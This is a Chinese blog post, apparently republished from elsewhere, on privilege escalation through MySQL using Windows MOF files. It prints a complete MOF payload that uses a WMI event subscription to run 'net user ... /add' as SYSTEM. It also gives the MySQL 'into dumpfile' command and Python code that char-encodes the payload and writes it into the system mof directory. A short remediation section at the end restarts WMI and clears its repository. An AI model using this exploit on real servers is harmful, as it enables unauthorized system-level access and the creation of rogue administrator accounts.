无意中看到有关Mysql的这种提权方式,趁着有空余时间便研究了起来,发现网上有挺多地方写的不够详细的,研究的时候也卡壳了一段时间。利用前提:操作系统为windows操作系统版本不宜太高,2008测试不通过,
无意中看到有关Mysql的这种提权方式,趁着有空余时间便研究了起来,发现网上有挺多地方写的不够详细的,研究的时候也卡壳了一段时间。
利用前提:
先简单介绍一下原理(摘自网上和个人实践后得出)
放置在c:/windows/system32/mof目录下的nullevt.mof文件每个五秒钟会被自动执行并且消失,如果后续没有创建新的该文件,那么每五秒会循环执行之前的nullevt.mof中内容,那么只需要将恶意代码写入该文件中即可。
网上已公开nullevt.mof中的利用代码
#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa \”Win32_LocalTime\” “
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “jscript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user xxx xxx /add\”)“;
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
常规利用过程步骤如下:
上传该文件到服务器上任意位置,名字任意
通过mysql语句 select load_file(上传的文件路径) into dumpfile 'c:/windows/system32/mof/nullevt.mof'
即可,如果成功上传,经过一段时间后,里面嵌入的代码会被执行
个人觉得要上传文件显得过于麻烦,能不能直接select 'xxxxx' into,经过尝试,要将该内容进行转码后再查询即可,提供部分py代码作为演示
使用mysql中char函数解决
payload = r'''
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user xxxx xxx /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
'''
ascii_payload = ''
for each_chr in payload:
ascii_payload += str(ord(each_chr)) + ','
ascii_payload = ascii_payload[:-1]
cur = conn.cursor()
sql = "select char(%s) into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'" % ascii_payload
cur.execute(sql)
由于mof是由system执行,所以权限满足创建用户、添加管理员等操作,即可完成提权过程。
如果服务器发现被使用mof提权,该如何解决循环创建用户?
打开cmd使用以下命令
net stop winmgmt
删除文件夹下内容 c:/windows/system32/wbem/repository
net start winmgmt
即可
错误之处,敬请指正
--结束END--
本文标题: 关于mysql mof提权研究
本文链接: https://www.lsjlt.com/news/41143.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
下载Word文档到电脑,方便收藏和打印~
2024-04-30
2024-04-30
2024-04-30
2024-04-30
2024-04-30
2024-04-30
2024-04-30
2024-04-30
2024-04-30
2024-04-30
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0